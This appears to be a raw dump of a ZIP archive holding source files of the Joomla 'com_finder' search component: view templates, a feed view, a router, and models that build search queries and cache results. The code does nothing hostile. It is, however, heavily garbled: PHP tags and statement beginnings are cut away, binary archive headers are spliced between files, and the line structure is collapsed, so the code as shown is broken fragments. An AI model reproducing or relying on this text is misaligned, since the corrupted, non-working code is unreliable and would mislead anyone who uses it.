            escape($this->query->input)); ?>

            escape($this->query->input)); ?>

            pagination->get('limitstart')+1; $total = (int) $this->pagination->get('total'); $limit = (int) $this->pagination->get('limit') * $this->pagination->get('pages.current'); $limit = (int) ($limit > $total ? $total : $limit); $pages = JText::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
            results); $i < $n; $i++): $this->result = &$this->results[$i]; $layout = $this->getLayoutFile($this->result->layout); ?> loadTemplate($layout); ?>

            \6'com_finder/views/search/tmpl/index.htmlnuW+APKGy>\)&com_finder/views/search/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\v -com_finder/views/search/tmpl/default_form.phpnuW+A PKGy>\Izz/com_finder/views/search/tmpl/default_result.phpnuW+Aresult->mime) ? 'mime-' . $this->result->mime : null; // Get the base url. $base = JURI::getInstance()->toString(array('scheme', 'host', 'port')); // Get the route with highlighting information. if (!empty($this->query->highlight) && empty($this->result->mime) && $this->params->get('highlight_terms', 1) && JPluginHelper::isEnabled('system', 'highlight')) { $route = $this->result->route . '&highlight=' . base64_encode(json_encode($this->query->highlight)); } else { $route = $this->result->route; } ?>
            result->title; ?>
            params->get('show_description', 1)): ?>
            result->description, $this->params->get('description_length', 255)); ?>
            params->get('show_url', 1)): ?>
            result->route); ?>
            \Uȁ(com_finder/views/search/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading'))) : ?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

            params->get('show_search_form', 1)): ?>
            loadTemplate('form'); ?>
            query->search === true): ?>
            loadTemplate('results'); ?>
            PKGy>\ܔ; (com_finder/views/search/tmpl/default.xmlnuW+A
            PKGy>\ %com_finder/views/search/view.feed.phpnuW+Ainput->set('limit', $app->getCfg('feed_limit')); // Get view data. $state = $this->get('State'); $params = $state->get('params'); $query = $this->get('Query'); $results = $this->get('Results'); // Push out the query data. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $suggested = JHtml::_('query.suggested', $query); $explained = JHtml::_('query.explained', $query); // Set the document title. $title = $params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); // Configure the document description. if (!empty($explained)) { $this->document->setDescription(html_entity_decode(strip_tags($explained), ENT_QUOTES, 'UTF-8')); } // Set the document link. $this->document->link = JRoute::_($query->toURI()); // If we don't have any results, we are done. if (empty($results)) { return; } // Convert the results to feed entries. foreach ($results as $result) { // Convert the result to a feed entry. $item = new JFeedItem; $item->title = $result->title; $item->link = JRoute::_($result->route); $item->description = $result->description; $item->date = intval($result->start_date) ? JHtml::date($result->start_date, 'l d F Y') : $result->indexdate; // Get the taxonomy data. $taxonomy = $result->getTaxonomy(); // Add the category to the feed if available. if (isset($taxonomy['Category'])) { $node = array_pop($taxonomy['Category']); $item->category = $node->title; } // Loads item info into rss array. $this->document->addItem($item); } } } PKGy>\)!com_finder/views/search/.htaccessnuW+A Order allow,deny Deny from all PKGy>\6"com_finder/views/search/index.htmlnuW+APKGy>\$com_finder/views/search/metadata.xmlnuW+A PKGy>\;;+com_finder/controllers/suggestions.json.phpnuW+Aget('show_autosuggest', 1)) { // Get the suggestions. $model = $this->getModel('Suggestions', 'FinderModel'); $return = $model->getItems(); } // Check the data. if (empty($return)) { $return = array(); } // Use the correct json mime-type header('Content-Type: application/json'); // Send the response. echo json_encode($return); JFactory::getApplication()->close(); } } PKGy>\&  com_finder/router.phpnuW+AgetMenu(); } /* * First, handle menu item routes first. When the menu system builds a * route, it only provides the option and the menu item id. We don't have * to do anything to these routes. */ if (count($query) === 2 && isset($query['Itemid']) && isset($query['option'])) { return $segments; } /* * Next, handle a route with a supplied menu item id. All system generated * routes should fall into this group. We can assume that the menu item id * is the best possible match for the query but we need to go through and * see which variables we can eliminate from the route query string because * they are present in the menu item route already. */ if (!empty($query['Itemid'])) { // Get the menu item. $item = $menu->getItem($query['Itemid']); // Check if the view matches. if ($item && @$item->query['view'] === @$query['view']) { unset($query['view']); } // Check if the search query filter matches. if ($item && @$item->query['f'] === @$query['f']) { unset($query['f']); } // Check if the search query string matches. if ($item && @$item->query['q'] === @$query['q']) { unset($query['q']); } return $segments; } /* * Lastly, handle a route with no menu item id. Fortunately, we only need * to deal with the view as the other route variables are supposed to stay * in the query string. */ if (isset($query['view'])) { // Add the view to the segments. $segments[] = $query['view']; unset($query['view']); } return $segments; } /** * Method to parse a SEF route. * * @param array $segments An array of route segments. * * @return array An array of route variables. * * @since 2.5 */ function FinderParseRoute($segments) { $vars = array(); // Check if the view segment is set and it equals search or advanced. if (@$segments[0] === 'search' || @$segments[0] === 'advanced') { $vars['view'] = $segments[0]; } return $vars; } PKGy>\AOOcom_finder/models/search.phpnuW+Aquery->search)) { return null; } // Check if we should return results. if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty)) { return null; } // Get the store id. $store = $this->getStoreId('getResults'); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the row data. $items = $this->getResultsData(); // Check the data. if (empty($items)) { return null; } // Create the query to get the search results. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('link_id') . ', ' . $db->quoteName('object')); $query->from($db->quoteName('#__finder_links')); $query->where($db->quoteName('link_id') . ' IN (' . implode(',', array_keys($items)) . ')'); // Load the results from the database. $db->setQuery($query); $rows = $db->loadObjectList('link_id'); // Check for a database error. if ($db->getErrorNum()) { throw new Exception($db->getErrorMsg(), 500); } // Set up our results container. $results = $items; // Convert the rows to result objects. foreach ($rows as $rk => $row) { // Build the result object. $result = unserialize($row->object); $result->weight = $results[$rk]; $result->link_id = $rk; // Add the result back to the stack. $results[$rk] = $result; } // Switch to a non-associative array. $results = array_values($results); // Push the results into cache. $this->store($store, $results); // Return the results. return $this->retrieve($store); } /** * Method to get the total number of results. * * @return integer The total number of results. * * @since 2.5 * @throws Exception on database error. */ public function getTotal() { // Check if the search query is valid. if (empty($this->query->search)) { return null; } // Check if we should return results. if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty)) { return null; } // Get the store id. $store = $this->getStoreId('getTotal'); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the results total. $total = $this->getResultsTotal(); // Push the total into cache. $this->store($store, $total); // Return the total. return $this->retrieve($store); } /** * Method to get the query object. * * @return FinderIndexerQuery A query object. * * @since 2.5 */ public function getQuery() { // Get the state in case it isn't loaded. $state = $this->getState(); // Return the query object. return $this->query; } /** * Method to build a database query to load the list data. * * @return JDatabaseQuery A database query. * * @since 2.5 */ protected function getListQuery() { // Get the store id. $store = $this->getStoreId('getListQuery'); // Use the cached data if possible. if ($this->retrieve($store, false)) { return clone($this->retrieve($store, false)); } // Set variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('l.link_id'); $query->from($db->quoteName('#__finder_links') . ' AS l'); $query->where($db->quoteName('l.access') . ' IN (' . $groups . ')'); $query->where($db->quoteName('l.state') . ' = 1'); // Get the null date and the current date, minus seconds. $nullDate = $db->quote($db->getNullDate()); $nowDate = $db->quote(substr_replace(JFactory::getDate()->toSQL(), '00', -2)); // Add the publish up and publish down filters. $query->where('(' . $db->quoteName('l.publish_start_date') . ' = ' . $nullDate . ' OR ' . $db->quoteName('l.publish_start_date') . ' <= ' . $nowDate . ')'); $query->where('(' . $db->quoteName('l.publish_end_date') . ' = ' . $nullDate . ' OR ' . $db->quoteName('l.publish_end_date') . ' >= ' . $nowDate . ')'); /* * Add the taxonomy filters to the query. We have to join the taxonomy * map table for each group so that we can use AND clauses across * groups. Within each group there can be an array of values that will * use OR clauses. */ if (!empty($this->query->filters)) { // Convert the associative array to a numerically indexed array. $groups = array_values($this->query->filters); // Iterate through each taxonomy group and add the join and where. for ($i = 0, $c = count($groups); $i < $c; $i++) { // We use the offset because each join needs a unique alias. $query->join('INNER', $db->quoteName('#__finder_taxonomy_map') . ' AS t' . $i . ' ON t' . $i . '.link_id = l.link_id'); $query->where('t' . $i . '.node_id IN (' . implode(',', $groups[$i]) . ')'); } } // Add the start date filter to the query. if (!empty($this->query->date1)) { // Escape the date. $date1 = $db->quote($this->query->date1); // Add the appropriate WHERE condition. if ($this->query->when1 == 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date1); } elseif ($this->query->when1 == 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date1); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date1); } } // Add the end date filter to the query. if (!empty($this->query->date2)) { // Escape the date. $date2 = $db->quote($this->query->date2); // Add the appropriate WHERE condition. if ($this->query->when2 == 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date2); } elseif ($this->query->when2 == 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date2); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date2); } } // Filter by language if ($this->getState('filter.language')) { $query->where('l.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'); } // Push the data into cache. $this->store($store, $query, false); // Return a copy of the query object. return clone($this->retrieve($store, false)); } /** * Method to get the total number of results for the search query. * * @return integer The results total. * * @since 2.5 * @throws Exception on database error. */ protected function getResultsTotal() { // Get the store id. $store = $this->getStoreId('getResultsTotal', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the base query and add the ordering information. $base = $this->getListQuery(); $base->select('0 AS ordering'); // Get the maximum number of results. $limit = (int) $this->getState('match.limit'); /* * If there are no optional or required search terms in the query, * we can get the result total in one relatively simple database query. */ if (empty($this->includedTerms)) { // Adjust the query to join on the appropriate mapping table. $sql = clone($base); $sql->clear('select'); $sql->select('COUNT(DISTINCT l.link_id)'); // Get the total from the database. $this->_db->setQuery($sql); $total = $this->_db->loadResult(); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Push the total into cache. $this->store($store, min($total, $limit)); // Return the total. return $this->retrieve($store); } /* * If there are optional or required search terms in the query, the * process of getting the result total is more complicated. */ $start = 0; $total = 0; $more = false; $items = array(); $sorted = array(); $maps = array(); $excluded = $this->getExcludedLinkIds(); /* * Iterate through the included search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->includedTerms as $token => $ids) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix] = array_merge($maps[$suffix], $ids); } /* * When the query contains search terms we need to find and process the * result total iteratively using a do-while loop. */ do { // Create a container for the fetched results. $results = array(); $more = false; /* * Iterate through the mapping groups and load the total from each * mapping table. */ foreach ($maps as $suffix => $ids) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsTotal:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $temp = $this->retrieve($setId); } // Load the data from the database. else { // Adjust the query to join on the appropriate mapping table. $sql = clone($base); $sql->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id'); $sql->where('m.term_id IN (' . implode(',', $ids) . ')'); // Load the results from the database. $this->_db->setQuery($sql, $start, $limit); $temp = $this->_db->loadObjectList(); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Set the more flag to true if any of the sets equal the limit. $more = (count($temp) === $limit) ? true : false; // We loaded the data unkeyed but we need it to be keyed for later. $junk = $temp; $temp = array(); // Convert to an associative array. for ($i = 0, $c = count($junk); $i < $c; $i++) { $temp[$junk[$i]->link_id] = $junk[$i]; } // Store this set in cache. $this->store($setId, $temp); } // Merge the results. $results = array_merge($results, $temp); } // Check if there are any excluded terms to deal with. if (count($excluded)) { // Remove any results that match excluded terms. for ($i = 0, $c = count($results); $i < $c; $i++) { if (in_array($results[$i]->link_id, $excluded)) { unset($results[$i]); } } // Reset the array keys. $results = array_values($results); } // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = $results[$i]->ordering; } } /* * If the query contains just optional search terms and we have * enough items for the page, we can stop here. */ if (empty($this->requiredTerms)) { // If we need more items and they're available, make another pass. if ($more && count($sorted) < $limit) { // Increment the batch starting point and continue. $start += $limit; continue; } // Push the total into cache. $this->store($store, min(count($sorted), $limit)); // Return the total. return $this->retrieve($store); } /* * The query contains required search terms so we have to iterate * over the items and remove any items that do not match all of the * required search terms. This is one of the most expensive steps * because a required token could theoretically eliminate all of * current terms which means we would have to loop through all of * the possibilities. */ foreach ($this->requiredTerms as $token => $required) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsTotal:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $reqTemp = $this->retrieve($setId); } // Check if the token was matched. elseif (empty($required)) { return null; } // Load the data from the database. else { // Setup containers in case we have to make multiple passes. $reqMore = false; $reqStart = 0; $reqTemp = array(); do { // Get the map table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Adjust the query to join on the appropriate mapping table. $sql = clone($base); $sql->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id'); $sql->where('m.term_id IN (' . implode(',', $required) . ')'); // Load the results from the database. $this->_db->setQuery($sql, $reqStart, $limit); $temp = $this->_db->loadObjectList('link_id'); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Set the required token more flag to true if the set equal the limit. $reqMore = (count($temp) === $limit) ? true : false; // Merge the matching set for this token. $reqTemp = $reqTemp + $temp; // Increment the term offset. $reqStart += $limit; } while ($reqMore == true); // Store this set in cache. $this->store($setId, $reqTemp); } // Remove any items that do not match the required term. $sorted = array_intersect_key($sorted, $reqTemp); } // If we need more items and they're available, make another pass. if ($more && count($sorted) < $limit) { // Increment the batch starting point. $start += $limit; // Merge the found items. $items = $items + $sorted; continue; } // Otherwise, end the loop. { // Merge the found items. $items = $items + $sorted; $more = false; } // End do-while loop. } while ($more === true); // Set the total. $total = count($items); $total = min($total, $limit); // Push the total into cache. $this->store($store, $total); // Return the total. return $this->retrieve($store); } /** * Method to get the results for the search query. * * @return array An array of result data objects. * * @since 2.5 * @throws Exception on database error. */ protected function getResultsData() { // Get the store id. $store = $this->getStoreId('getResultsData', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the result ordering and direction. $ordering = $this->getState('list.ordering', 'l.start_date'); $direction = $this->getState('list.direction', 'DESC'); // Get the base query and add the ordering information. $base = $this->getListQuery(); $base->select($this->_db->escape($ordering) . ' AS ordering'); $base->order($this->_db->escape($ordering) . ' ' . $this->_db->escape($direction)); /* * If there are no optional or required search terms in the query, we * can get the results in one relatively simple database query. */ if (empty($this->includedTerms)) { // Get the results from the database. $this->_db->setQuery($base, (int) $this->getState('list.start'), (int) $this->getState('list.limit')); $return = $this->_db->loadObjectList('link_id'); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Get a new store id because this data is page specific. $store = $this->getStoreId('getResultsData', true); // Push the results into cache. $this->store($store, $return); // Return the results. return $this->retrieve($store); } /* * If there are optional or required search terms in the query, the * process of getting the results is more complicated. */ $start = 0; $limit = (int) $this->getState('match.limit'); $more = false; $items = array(); $sorted = array(); $maps = array(); $excluded = $this->getExcludedLinkIds(); /* * Iterate through the included search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->includedTerms as $token => $ids) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix] = array_merge($maps[$suffix], $ids); } /* * When the query contains search terms we need to find and process the * results iteratively using a do-while loop. */ do { // Create a container for the fetched results. $results = array(); $more = false; /* * Iterate through the mapping groups and load the results from each * mapping table. */ foreach ($maps as $suffix => $ids) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsData:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $temp = $this->retrieve($setId); } // Load the data from the database. else { // Adjust the query to join on the appropriate mapping table. $sql = clone($base); $sql->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id'); $sql->where('m.term_id IN (' . implode(',', $ids) . ')'); // Load the results from the database. $this->_db->setQuery($sql, $start, $limit); $temp = $this->_db->loadObjectList('link_id'); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Store this set in cache. $this->store($setId, $temp); // The data is keyed by link_id to ease caching, we don't need it till later. $temp = array_values($temp); } // Set the more flag to true if any of the sets equal the limit. $more = (count($temp) === $limit) ? true : false; // Merge the results. $results = array_merge($results, $temp); } // Check if there are any excluded terms to deal with. if (count($excluded)) { // Remove any results that match excluded terms. for ($i = 0, $c = count($results); $i < $c; $i++) { if (in_array($results[$i]->link_id, $excluded)) { unset($results[$i]); } } // Reset the array keys. $results = array_values($results); } /* * If we are ordering by relevance we have to add up the relevance * scores that are contained in the ordering field. */ if ($ordering === 'm.weight') { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { // Add the total weights for all included search terms. if (isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] += (float) $results[$i]->ordering; } else { $sorted[$results[$i]->link_id] = (float) $results[$i]->ordering; } } } /* * If we are ordering by start date we have to add convert the * dates to unix timestamps. */ elseif ($ordering === 'l.start_date') { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = strtotime($results[$i]->ordering); } } } /* * If we are not ordering by relevance or date, we just have to add * the unique items to the set. */ else { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = $results[$i]->ordering; } } } // Sort the results. if ($direction === 'ASC') { natcasesort($items); } else { natcasesort($items); $items = array_reverse($items, true); } /* * If the query contains just optional search terms and we have * enough items for the page, we can stop here. */ if (empty($this->requiredTerms)) { // If we need more items and they're available, make another pass. if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit'))) { // Increment the batch starting point and continue. $start += $limit; continue; } // Push the results into cache. $this->store($store, $sorted); // Return the requested set. return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true); } /* * The query contains required search terms so we have to iterate * over the items and remove any items that do not match all of the * required search terms. This is one of the most expensive steps * because a required token could theoretically eliminate all of * current terms which means we would have to loop through all of * the possibilities. */ foreach ($this->requiredTerms as $token => $required) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsData:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $reqTemp = $this->retrieve($setId); } // Check if the token was matched. elseif (empty($required)) { return null; } // Load the data from the database. else { // Setup containers in case we have to make multiple passes. $reqMore = false; $reqStart = 0; $reqTemp = array(); do { // Get the map table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Adjust the query to join on the appropriate mapping table. $sql = clone($base); $sql->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id'); $sql->where('m.term_id IN (' . implode(',', $required) . ')'); // Load the results from the database. $this->_db->setQuery($sql, $reqStart, $limit); $temp = $this->_db->loadObjectList('link_id'); // Check for a database error. if ($this->_db->getErrorNum()) { throw new Exception($this->_db->getErrorMsg(), 500); } // Set the required token more flag to true if the set equal the limit. $reqMore = (count($temp) === $limit) ? true : false; // Merge the matching set for this token. $reqTemp = $reqTemp + $temp; // Increment the term offset. $reqStart += $limit; } while ($reqMore == true); // Store this set in cache. $this->store($setId, $reqTemp); } // Remove any items that do not match the required term. $sorted = array_intersect_key($sorted, $reqTemp); } // If we need more items and they're available, make another pass. if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit'))) { // Increment the batch starting point. $start += $limit; // Merge the found items. $items = array_merge($items, $sorted); continue; } // Otherwise, end the loop. else { // Set the found items. $items = $sorted; $more = false; } // End do-while loop. } while ($more === true); // Push the results into cache. $this->store($store, $items); // Return the requested set. return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true); } /** * Method to get an array of link ids that match excluded terms. * * @return array An array of links ids. * * @since 2.5 * @throws Exception on database error. */ protected function getExcludedLinkIds() { // Check if the search query has excluded terms. if (empty($this->excludedTerms)) { return array(); } // Get the store id. $store = $this->getStoreId('getExcludedLinkIds', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Initialize containers. $links = array(); $maps = array(); /* * Iterate through the excluded search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->excludedTerms as $token => $id) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix][] = (int) $id; } /* * Iterate through the mapping groups and load the excluded links ids * from each mapping table. */ foreach ($maps as $suffix => $ids) { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Create the query to get the links ids. $query->select('link_id'); $query->from($db->quoteName('#__finder_links_terms' . $suffix)); $query->where($db->quoteName('term_id') . ' IN (' . implode(',', $ids) . ')'); $query->group($db->quoteName('link_id')); // Load the link ids from the database. $db->setQuery($query); $temp = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { throw new Exception($db->getErrorMsg(), 500); } // Merge the link ids. $links = array_merge($links, $temp); } // Sanitize the link ids. $links = array_unique($links); JArrayHelper::toInteger($links); // Push the link ids into cache. $this->store($store, $links); return $links; } /** * Method to get a subquery for filtering link ids mapped to specific * terms ids. * * @param array $terms An array of search term ids. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getTermsQuery($terms) { // Create the SQL query to get the matching link ids. //@TODO: Impact of removing SQL_NO_CACHE? $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('SQL_NO_CACHE link_id'); $query->from('#__finder_links_terms'); $query->where('term_id IN (' . implode(',', $terms) . ')'); return $query; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * @param boolean $page True to store the data paged, false to store all data. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '', $page = true) { // Get the query object. $query = $this->getQuery(); // Add the search query state. $id .= ':' . $query->input; $id .= ':' . $query->language; $id .= ':' . $query->filter; $id .= ':' . serialize($query->filters); $id .= ':' . $query->date1; $id .= ':' . $query->date2; $id .= ':' . $query->when1; $id .= ':' . $query->when2; if ($page) { // Add the list state for page specific data. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); $id .= ':' . $this->getState('list.ordering'); $id .= ':' . $this->getState('list.direction'); } return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Get the configuration options. $app = JFactory::getApplication(); $input = $app->input; $params = $app->getParams(); $user = JFactory::getUser(); $filter = JFilterInput::getInstance(); $this->setState('filter.language', $app->getLanguageFilter()); // Setup the stemmer. if ($params->get('stem', 1) && $params->get('stemmer', 'porter_en')) { FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($params->get('stemmer', 'porter_en')); } // Initialize variables. $request = $input->request; $options = array(); // Get the query string. $options['input'] = !is_null($request->get('q')) ? $request->get('q', '', 'string') : $params->get('q'); $options['input'] = $filter->clean($options['input'], 'string'); // Get the empty query setting. $options['empty'] = $params->get('allow_empty_query', 0); // Get the query language. $options['language'] = !is_null($request->get('l')) ? $request->get('l', '', 'cmd') : $params->get('l'); $options['language'] = $filter->clean($options['language'], 'cmd'); // Get the static taxonomy filters. $options['filter'] = !is_null($request->get('f')) ? $request->get('f', '', 'int') : $params->get('f'); $options['filter'] = $filter->clean($options['filter'], 'int'); // Get the dynamic taxonomy filters. $options['filters'] = !is_null($request->get('t')) ? $request->get('t', '', 'array') : $params->get('t'); $options['filters'] = $filter->clean($options['filters'], 'array'); JArrayHelper::toInteger($options['filters']); // Get the start date and start date modifier filters. $options['date1'] = !is_null($request->get('d1')) ? $request->get('d1', '', 'string') : $params->get('d1'); $options['date1'] = $filter->clean($options['date1'], 'string'); $options['when1'] = !is_null($request->get('w1')) ? $request->get('w1', '', 'string') : $params->get('w1'); $options['when1'] = $filter->clean($options['when1'], 'string'); // Get the end date and end date modifier filters. $options['date2'] = !is_null($request->get('d2')) ? $request->get('d2', '', 'string') : $params->get('d2'); $options['date2'] = $filter->clean($options['date2'], 'string'); $options['when2'] = !is_null($request->get('w2')) ? $request->get('w2', '', 'string') : $params->get('w2'); $options['when2'] = $filter->clean($options['when2'], 'string'); // Load the query object. $this->query = new FinderIndexerQuery($options); // Load the query token data. $this->excludedTerms = $this->query->getExcludedTermIds(); $this->includedTerms = $this->query->getIncludedTermIds(); $this->requiredTerms = $this->query->getRequiredTermIds(); // Load the list state. $this->setState('list.start', $input->get('limitstart', 0, 'uint')); $this->setState('list.limit', $input->get('limit', $app->getCfg('list_limit', 20), 'uint')); // Load the sort ordering. $order = $params->get('sort_order', 'relevance'); switch ($order) { case 'date': $this->setState('list.ordering', 'l.start_date'); break; case 'price': $this->setState('list.ordering', 'l.list_price'); break; case ($order == 'relevance' && !empty($this->includedTerms)): $this->setState('list.ordering', 'm.weight'); break; default: $this->setState('list.ordering', 'l.link_id'); break; } // Load the sort direction. $dirn = $params->get('sort_direction', 'desc'); switch ($dirn) { case 'asc': $this->setState('list.direction', 'ASC'); break; default: case 'desc': $this->setState('list.direction', 'DESC'); break; } // Set the match limit. $this->setState('match.limit', 1000); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); $this->setState('user.groups', $user->getAuthorisedViewLevels()); } /** * Method to retrieve data from cache. * * @param string $id The cache store id. * @param boolean $persistent Flag to enable the use of external cache. [optional] * * @return mixed The cached data if found, null otherwise. * * @since 2.5 */ protected function retrieve($id, $persistent = true) { $data = null; // Use the internal cache if possible. if (isset($this->cache[$id])) { return $this->cache[$id]; } // Use the external cache if data is persistent. if ($persistent) { $data = JFactory::getCache($this->context, 'output')->get($id); $data = $data ? unserialize($data) : null; } // Store the data in internal cache. if ($data) { $this->cache[$id] = $data; } return $data; } /** * Method to store data in cache. * * @param string $id The cache store id. * @param mixed $data The data to cache. * @param boolean $persistent Flag to enable the use of external cache. [optional] * * @return boolean True on success, false on failure. * * @since 2.5 */ protected function store($id, $data, $persistent = true) { // Store the data in internal cache. $this->cache[$id] = $data; // Store the data in external cache if data is persistent. if ($persistent) { return JFactory::getCache($this->context, 'output')->store(serialize($data), $id); } return true; } } PKGy>\+   !com_finder/models/suggestions.phpnuW+A $v) { $items[$k] = $v->term; } return $items; } /** * Method to build a database query to load the list data. * * @return JDatabaseQuery A database query * * @since 2.5 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields $query->select('t.term'); $query->from($db->quoteName('#__finder_terms') . ' AS t'); $query->where('t.term LIKE ' . $db->quote($db->escape($this->getState('input'), true) . '%')); $query->where('t.common = 0'); $query->order('t.links DESC'); $query->order('t.weight DESC'); return $query; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Add the search query state. $id .= ':' . $this->getState('input'); $id .= ':' . $this->getState('language'); // Add the list state. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @return void * * @since 2.5 */ protected function populateState() { // Get the configuration options. $app = JFactory::getApplication(); $input = $app->input; $params = JComponentHelper::getParams('com_finder'); $user = JFactory::getUser(); // Get the query input. $this->setState('input', $input->request->get('q', '', 'string')); $this->setState('language', $input->request->get('l', '', 'string')); // Load the list state. $this->setState('list.start', 0); $this->setState('list.limit', 10); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); } } PKGy>\M/com_finder/helpers/route.phpnuW+A 'search', 'q' => $q, 'f' => $f); $item = self::getItemid($query); // Get the base route. $uri = clone(JUri::getInstance('index.php?option=com_finder&view=search')); // Add the pre-defined search filter if present. if ($f !== null) { $uri->setVar('f', $f); } // Add the search query string if present. if ($q !== null) { $uri->setVar('q', $q); } // Add the menu item id if 